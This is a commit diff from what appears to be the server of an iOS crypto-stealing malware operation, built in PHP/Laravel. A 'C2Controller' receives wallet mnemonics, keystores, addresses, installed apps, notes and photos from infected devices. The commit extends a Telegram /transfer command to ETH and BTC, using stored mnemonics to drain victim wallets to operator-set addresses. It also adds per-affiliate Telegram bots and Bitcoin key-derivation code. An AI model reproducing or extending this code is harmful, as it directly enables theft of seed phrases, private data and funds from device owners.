feat: new chain
This commit is contained in:
+13
-7
@@ -81,23 +81,29 @@ TELEGRAM_WEBHOOK_SECRET=
|
||||
# NUTGRAM_SAFE_MODE=false
|
||||
|
||||
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
|
||||
# Usage: /transfer <fromAddress> [TRX|USDT] [amount] — omit amount = all
|
||||
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
|
||||
# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*.
|
||||
TRANSFER_TO_ADDRESS=
|
||||
TRANSFER_TO_ADDRESS_ETH=
|
||||
TRANSFER_TO_ADDRESS_BTC=
|
||||
# TRANSFER_MAX_USDT=0
|
||||
# TRANSFER_MAX_TRX=0
|
||||
# TRANSFER_MAX_ETH=0
|
||||
# TRANSFER_MAX_BTC=0
|
||||
# TRANSFER_MAX_DERIVE_INDEX=20
|
||||
# TRANSFER_TRX_FEE_RESERVE=1
|
||||
# TRANSFER_ETH_FEE_RESERVE=0.001
|
||||
# TRANSFER_BTC_FEE_RESERVE=0.0001
|
||||
TRON_FULL_NODE=https://api.trongrid.io
|
||||
TRON_API_KEY=
|
||||
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
||||
ETH_RPC_URL=https://ethereum.publicnode.com
|
||||
# ETH_CHAIN_ID=1
|
||||
ETH_USDT_CONTRACT=0xdAC17F958D2ee523a2206206994597C13D831ec7
|
||||
BTC_API_URL=https://mempool.space/api
|
||||
# BTC_FEE_RATE=0
|
||||
|
||||
# Tokenview address tracking (monitor=1 addresses)
|
||||
TOKENVIEW_API_KEY=
|
||||
TOKENVIEW_SIGN_KEY=
|
||||
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
|
||||
|
||||
# Reserved payout addresses
|
||||
PAYOUT_ETH=
|
||||
PAYOUT_BTC=
|
||||
PAYOUT_TRON=
|
||||
PAYOUT_SOL=
|
||||
|
||||
@@ -46,6 +46,9 @@ class AgentUserController extends Controller
|
||||
'username' => $u->username,
|
||||
'status' => (int) $u->status,
|
||||
'comment' => $u->comment ?: '',
|
||||
'chat_id' => $u->chat_id ?: '',
|
||||
'bot_token' => $u->bot_token ?: '',
|
||||
'telegram_ready' => $u->hasTelegramBot(),
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
@@ -67,6 +70,8 @@ class AgentUserController extends Controller
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
@@ -74,6 +79,8 @@ class AgentUserController extends Controller
|
||||
'password' => $data['password'],
|
||||
'comment' => $data['comment'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
|
||||
'bot_token' => $this->nullableTrim($data['bot_token'] ?? null),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
@@ -85,6 +92,8 @@ class AgentUserController extends Controller
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
@@ -93,6 +102,15 @@ class AgentUserController extends Controller
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$agent->status = (int) $data['status'];
|
||||
}
|
||||
if (array_key_exists('chat_id', $data)) {
|
||||
$agent->chat_id = $this->nullableTrim($data['chat_id']);
|
||||
}
|
||||
if (array_key_exists('bot_token', $data)) {
|
||||
$token = $this->nullableTrim($data['bot_token']);
|
||||
// Empty string in edit form means "leave unchanged" only when field omitted;
|
||||
// explicit empty clears. UI sends current value when unchanged.
|
||||
$agent->bot_token = $token;
|
||||
}
|
||||
if (! empty($data['password'])) {
|
||||
$agent->password = $data['password'];
|
||||
}
|
||||
@@ -118,4 +136,14 @@ class AgentUserController extends Controller
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
||||
}
|
||||
|
||||
private function nullableTrim(mixed $value): ?string
|
||||
{
|
||||
if ($value === null) {
|
||||
return null;
|
||||
}
|
||||
$value = trim((string) $value);
|
||||
|
||||
return $value === '' ? null : $value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,17 +4,18 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use App\Services\DashboardStatsService;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class DashboardController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function __construct(
|
||||
private readonly DashboardStatsService $stats,
|
||||
) {}
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
@@ -29,103 +30,19 @@ class DashboardController extends Controller
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$range = (string) $request->query('range', '30d');
|
||||
[$from, $to] = $this->rangeBounds($range);
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $this->isAgentPortal()
|
||||
? (int) ($this->agent()?->id ?? 0)
|
||||
: (int) $request->query('agent_user_id', 0);
|
||||
|
||||
$base = Device::query();
|
||||
AgentScope::applyDeviceChannelScope($base, $this->agent());
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($base, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
$base->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $this->agent());
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
$visits->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
$visits->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
$pv = (clone $visits)->count();
|
||||
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$byOs = (clone $visits)
|
||||
->select('os')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os')
|
||||
->orderByDesc('pv')
|
||||
->limit(10)
|
||||
->get()
|
||||
->map(static fn ($r) => [
|
||||
'label' => ((string) ($r->os ?? '')) !== '' ? (string) $r->os : 'Unknown',
|
||||
'pv' => (int) $r->pv,
|
||||
'uv' => (int) $r->uv,
|
||||
])
|
||||
->values();
|
||||
|
||||
$byBrowser = (clone $visits)
|
||||
->select('browser')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('browser')
|
||||
->orderByDesc('pv')
|
||||
->limit(10)
|
||||
->get()
|
||||
->map(static fn ($r) => [
|
||||
'label' => ((string) ($r->browser ?? '')) !== '' ? (string) $r->browser : 'Unknown',
|
||||
'pv' => (int) $r->pv,
|
||||
'uv' => (int) $r->uv,
|
||||
])
|
||||
->values();
|
||||
$data = $this->stats->collect([
|
||||
'range' => (string) $request->query('range', '30d'),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'agent_user_id' => $this->isAgentPortal()
|
||||
? 0
|
||||
: (int) $request->query('agent_user_id', 0),
|
||||
'agent' => $this->agent(),
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'total' => $total,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'by_os' => $byOs,
|
||||
'by_browser' => $byBrowser,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
],
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
private function rangeBounds(string $range): array
|
||||
{
|
||||
$now = Carbon::now();
|
||||
|
||||
return match ($range) {
|
||||
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
||||
'yesterday' => [
|
||||
$now->copy()->subDay()->startOfDay(),
|
||||
$now->copy()->subDay()->endOfDay(),
|
||||
],
|
||||
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
||||
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
@@ -59,6 +59,7 @@ class DeviceController extends Controller
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
@@ -143,6 +144,69 @@ class DeviceController extends Controller
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
|
||||
public function update(Request $request, Device $device)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$data = $request->validate([
|
||||
'album_storage' => ['required', 'integer', 'in:0,1'],
|
||||
]);
|
||||
|
||||
$device->album_storage = (int) $data['album_storage'] === 1;
|
||||
$device->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $device->id,
|
||||
'album_storage' => $device->albumStorageEnabled() ? 1 : 0,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function clearPhotos(Device $device)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$photos = $device->photos()->get(['id', 'path']);
|
||||
$deletedFiles = 0;
|
||||
foreach ($photos as $photo) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path === '') {
|
||||
continue;
|
||||
}
|
||||
if (Storage::disk('local')->exists($path)) {
|
||||
Storage::disk('local')->delete($path);
|
||||
$deletedFiles++;
|
||||
}
|
||||
}
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
|
||||
$dir = 'c2/photos/'.$device->device_id;
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// older flysystem without directoryExists — best-effort wipe
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
|
||||
@@ -35,16 +35,13 @@ class C2Controller extends Controller
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
@@ -55,6 +52,7 @@ class C2Controller extends Controller
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
// Trusted channel_id source; updates touch updated_at (+ channel_id only if empty).
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
@@ -66,7 +64,7 @@ class C2Controller extends Controller
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
}
|
||||
@@ -77,7 +75,7 @@ class C2Controller extends Controller
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
@@ -88,7 +86,7 @@ class C2Controller extends Controller
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
@@ -104,7 +102,7 @@ class C2Controller extends Controller
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$device = $this->ingest->ensureDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
@@ -175,7 +173,7 @@ class C2Controller extends Controller
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
@@ -3,9 +3,16 @@
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use App\Telegram\TelegramRegistrar;
|
||||
use Illuminate\Contracts\Cache\Repository as Cache;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
||||
use Psr\Log\LoggerInterface;
|
||||
use SergiX44\Nutgram\Configuration;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use Throwable;
|
||||
|
||||
@@ -13,7 +20,53 @@ class TelegramWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request): Response
|
||||
{
|
||||
// Log before resolving Nutgram — DI failures previously 500'd with no controller log.
|
||||
app(TelegramBotContext::class)->setAgent(null);
|
||||
|
||||
return $this->handle(
|
||||
$request,
|
||||
expectedSecret: (string) config('coruna.telegram.webhook_secret', ''),
|
||||
resolveBot: static fn () => app(Nutgram::class),
|
||||
label: 'official',
|
||||
);
|
||||
}
|
||||
|
||||
public function agent(Request $request, User $agent): Response
|
||||
{
|
||||
if (! $agent->isEnabled() || ! $agent->hasTelegramBot()) {
|
||||
abort(404);
|
||||
}
|
||||
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
$secret = TelegramBotContext::webhookSecretFor($agent);
|
||||
|
||||
return $this->handle(
|
||||
$request,
|
||||
expectedSecret: $secret,
|
||||
resolveBot: function () use ($agent) {
|
||||
if (app()->runningUnitTests()) {
|
||||
return app(Nutgram::class);
|
||||
}
|
||||
|
||||
$bot = $this->makeAgentBot($agent);
|
||||
app(TelegramRegistrar::class)->registerAgent($bot, $agent);
|
||||
|
||||
return $bot;
|
||||
},
|
||||
label: 'agent:'.$agent->id,
|
||||
requireSecret: true,
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param callable(): Nutgram $resolveBot
|
||||
*/
|
||||
private function handle(
|
||||
Request $request,
|
||||
string $expectedSecret,
|
||||
callable $resolveBot,
|
||||
string $label,
|
||||
bool $requireSecret = false,
|
||||
): Response {
|
||||
$raw = $request->getContent();
|
||||
$update = $request->all();
|
||||
if ($update === [] && is_string($raw) && $raw !== '') {
|
||||
@@ -27,23 +80,23 @@ class TelegramWebhookController extends Controller
|
||||
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
|
||||
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
|
||||
$updateId = $update['update_id'] ?? null;
|
||||
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
||||
|
||||
$this->webhookLog('info', 'telegram webhook hit', [
|
||||
'bot' => $label,
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $updateId,
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'has_secret_header' => $header !== '',
|
||||
'secret_configured' => $secret !== '',
|
||||
'secret_configured' => $expectedSecret !== '',
|
||||
'body_bytes' => strlen($raw),
|
||||
]);
|
||||
|
||||
if ($secret !== '') {
|
||||
if ($header === '' || ! hash_equals($secret, $header)) {
|
||||
if ($requireSecret || $expectedSecret !== '') {
|
||||
if ($expectedSecret === '' || $header === '' || ! hash_equals($expectedSecret, $header)) {
|
||||
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
|
||||
'bot' => $label,
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $updateId,
|
||||
]);
|
||||
@@ -52,17 +105,17 @@ class TelegramWebhookController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
/** @var Nutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot = $resolveBot();
|
||||
$bot->run();
|
||||
$this->webhookLog('info', 'telegram webhook handled', [
|
||||
'bot' => $label,
|
||||
'update_id' => $updateId,
|
||||
'chat_id' => $chatId,
|
||||
'handler' => $bot->currentHandler()?->getPattern(),
|
||||
]);
|
||||
} catch (Throwable $e) {
|
||||
// Always ACK to Telegram — returning 500 causes pending_update backlog.
|
||||
$this->webhookLog('error', 'telegram webhook failed', [
|
||||
'bot' => $label,
|
||||
'message' => $e->getMessage(),
|
||||
'exception' => $e::class,
|
||||
'file' => $e->getFile().':'.$e->getLine(),
|
||||
@@ -72,7 +125,6 @@ class TelegramWebhookController extends Controller
|
||||
]);
|
||||
|
||||
if (app()->runningUnitTests() && $e instanceof \InvalidArgumentException) {
|
||||
// FakeNutgram with no queued update in unit tests.
|
||||
return response()->noContent();
|
||||
}
|
||||
}
|
||||
@@ -80,6 +132,40 @@ class TelegramWebhookController extends Controller
|
||||
return response()->noContent();
|
||||
}
|
||||
|
||||
private function makeAgentBot(User $agent): Nutgram
|
||||
{
|
||||
$configuration = new Configuration(
|
||||
apiUrl: config('nutgram.config.api_url', Configuration::DEFAULT_API_URL),
|
||||
botId: config('nutgram.config.bot_id'),
|
||||
botName: config('nutgram.config.bot_name'),
|
||||
testEnv: config('nutgram.config.test_env', false),
|
||||
isLocal: config('nutgram.config.is_local', false),
|
||||
clientTimeout: config('nutgram.config.timeout', Configuration::DEFAULT_CLIENT_TIMEOUT),
|
||||
clientOptions: config('nutgram.config.client', []),
|
||||
container: app(),
|
||||
hydrator: config('nutgram.config.hydrator', Configuration::DEFAULT_HYDRATOR),
|
||||
cache: app(Cache::class),
|
||||
logger: app(LoggerInterface::class)->channel(config('nutgram.log_channel', 'null')),
|
||||
localPathTransformer: config('nutgram.config.local_path_transformer'),
|
||||
pollingTimeout: config('nutgram.config.polling.timeout', Configuration::DEFAULT_POLLING_TIMEOUT),
|
||||
pollingAllowedUpdates: config('nutgram.config.polling.allowed_updates', Configuration::DEFAULT_ALLOWED_UPDATES),
|
||||
pollingLimit: config('nutgram.config.polling.limit', Configuration::DEFAULT_POLLING_LIMIT),
|
||||
enableHttp2: config('nutgram.config.enable_http2', Configuration::DEFAULT_ENABLE_HTTP2),
|
||||
conversationTtl: config('nutgram.config.conversation_ttl', Configuration::DEFAULT_CONVERSATION_TTL),
|
||||
);
|
||||
|
||||
$bot = new Nutgram((string) $agent->bot_token, $configuration);
|
||||
$secret = TelegramBotContext::webhookSecretFor($agent);
|
||||
$webhook = new LaravelWebhook(
|
||||
getToken: static fn () => request()?->header('X-Telegram-Bot-Api-Secret-Token'),
|
||||
secretToken: $secret,
|
||||
);
|
||||
$webhook->setSafeMode(true);
|
||||
$bot->setRunningMode($webhook);
|
||||
|
||||
return $bot;
|
||||
}
|
||||
|
||||
/** @param array<string, mixed> $context */
|
||||
private function webhookLog(string $level, string $message, array $context = []): void
|
||||
{
|
||||
|
||||
@@ -8,16 +8,23 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? true);
|
||||
}
|
||||
|
||||
public function apps(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceApp::class);
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class TransferRecord extends Model
|
||||
{
|
||||
public const STATUS_SUCCESS = 'success';
|
||||
|
||||
public const STATUS_FAILED = 'failed';
|
||||
|
||||
public const TYPE_OUT = 'out';
|
||||
|
||||
protected $fillable = [
|
||||
'from_address',
|
||||
'to_address',
|
||||
'chain',
|
||||
'tx_hash',
|
||||
'amount',
|
||||
'type',
|
||||
'asset',
|
||||
'operator',
|
||||
'status',
|
||||
'error',
|
||||
];
|
||||
}
|
||||
+8
-2
@@ -8,11 +8,11 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
class User extends Authenticatable
|
||||
{
|
||||
protected $fillable = [
|
||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
|
||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_token',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
'password', 'remember_token',
|
||||
'password', 'remember_token', 'bot_token',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -32,4 +32,10 @@ class User extends Authenticatable
|
||||
{
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
|
||||
public function hasTelegramBot(): bool
|
||||
{
|
||||
return trim((string) ($this->bot_token ?? '')) !== ''
|
||||
&& trim((string) ($this->chat_id ?? '')) !== '';
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Providers;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\SettingsService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
@@ -13,6 +14,8 @@ class AppServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(TelegramBotContext::class);
|
||||
|
||||
$this->app->singleton(CorunaCrypto::class, function () {
|
||||
$override = config('coruna.session_key');
|
||||
|
||||
|
||||
@@ -0,0 +1,243 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use RuntimeException;
|
||||
|
||||
final class BtcAddress
|
||||
{
|
||||
public static function fromPrivateKey(string $privateKeyHex): string
|
||||
{
|
||||
$privateKeyHex = strtolower(trim($privateKeyHex));
|
||||
if (str_starts_with($privateKeyHex, '0x')) {
|
||||
$privateKeyHex = substr($privateKeyHex, 2);
|
||||
}
|
||||
$ec = new EC('secp256k1');
|
||||
$compressed = $ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex');
|
||||
|
||||
return self::p2pkhFromCompressedPublicKey($compressed);
|
||||
}
|
||||
|
||||
public static function p2pkhFromCompressedPublicKey(string $compressedHex): string
|
||||
{
|
||||
$compressedHex = strtolower(trim($compressedHex));
|
||||
$pub = hex2bin($compressedHex);
|
||||
if ($pub === false || (strlen($pub) !== 33)) {
|
||||
throw new RuntimeException('Expected compressed secp256k1 public key');
|
||||
}
|
||||
$hash160 = hash('ripemd160', hash('sha256', $pub, true), true);
|
||||
|
||||
return TronAddress::hexToBase58Check('00'.bin2hex($hash160));
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
$address = trim($address);
|
||||
if ($address === '') {
|
||||
return false;
|
||||
}
|
||||
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) {
|
||||
try {
|
||||
self::decodeBech32($address);
|
||||
|
||||
return true;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if (! preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) {
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
$hex = TronAddress::base58CheckToHex($address);
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
$version = substr($hex, 0, 2);
|
||||
|
||||
return ($version === '00' || $version === '05') && strlen($hex) === 42;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{type: string, script: string} script hex
|
||||
*/
|
||||
public static function scriptPubKey(string $address): array
|
||||
{
|
||||
$address = trim($address);
|
||||
if (preg_match('/^bc1/i', $address)) {
|
||||
$decoded = self::decodeBech32($address);
|
||||
$prog = $decoded['program'];
|
||||
$ver = $decoded['version'];
|
||||
if ($ver === 0 && strlen($prog) === 20) {
|
||||
// OP_0 <20>
|
||||
return ['type' => 'p2wpkh', 'script' => '0014'.bin2hex($prog)];
|
||||
}
|
||||
if ($ver === 0 && strlen($prog) === 32) {
|
||||
return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)];
|
||||
}
|
||||
throw new RuntimeException('Unsupported bech32 witness program');
|
||||
}
|
||||
|
||||
$hex = TronAddress::base58CheckToHex($address);
|
||||
$version = substr($hex, 0, 2);
|
||||
$hash = substr($hex, 2);
|
||||
if ($version === '00' && strlen($hash) === 40) {
|
||||
// OP_DUP OP_HASH160 <20> OP_EQUALVERIFY OP_CHECKSIG
|
||||
return ['type' => 'p2pkh', 'script' => '76a914'.$hash.'88ac'];
|
||||
}
|
||||
if ($version === '05' && strlen($hash) === 40) {
|
||||
// OP_HASH160 <20> OP_EQUAL
|
||||
return ['type' => 'p2sh', 'script' => 'a914'.$hash.'87'];
|
||||
}
|
||||
|
||||
throw new RuntimeException('Unsupported BTC address type');
|
||||
}
|
||||
|
||||
public static function hash160Compressed(string $privateKeyHex): string
|
||||
{
|
||||
$privateKeyHex = strtolower(trim($privateKeyHex));
|
||||
if (str_starts_with($privateKeyHex, '0x')) {
|
||||
$privateKeyHex = substr($privateKeyHex, 2);
|
||||
}
|
||||
$ec = new EC('secp256k1');
|
||||
$compressed = hex2bin($ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex'));
|
||||
if ($compressed === false) {
|
||||
throw new RuntimeException('Invalid public key');
|
||||
}
|
||||
|
||||
return hash('ripemd160', hash('sha256', $compressed, true), true);
|
||||
}
|
||||
|
||||
public static function compressedPublicKey(string $privateKeyHex): string
|
||||
{
|
||||
$privateKeyHex = strtolower(trim($privateKeyHex));
|
||||
if (str_starts_with($privateKeyHex, '0x')) {
|
||||
$privateKeyHex = substr($privateKeyHex, 2);
|
||||
}
|
||||
$ec = new EC('secp256k1');
|
||||
|
||||
return $ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex');
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{version: int, program: string}
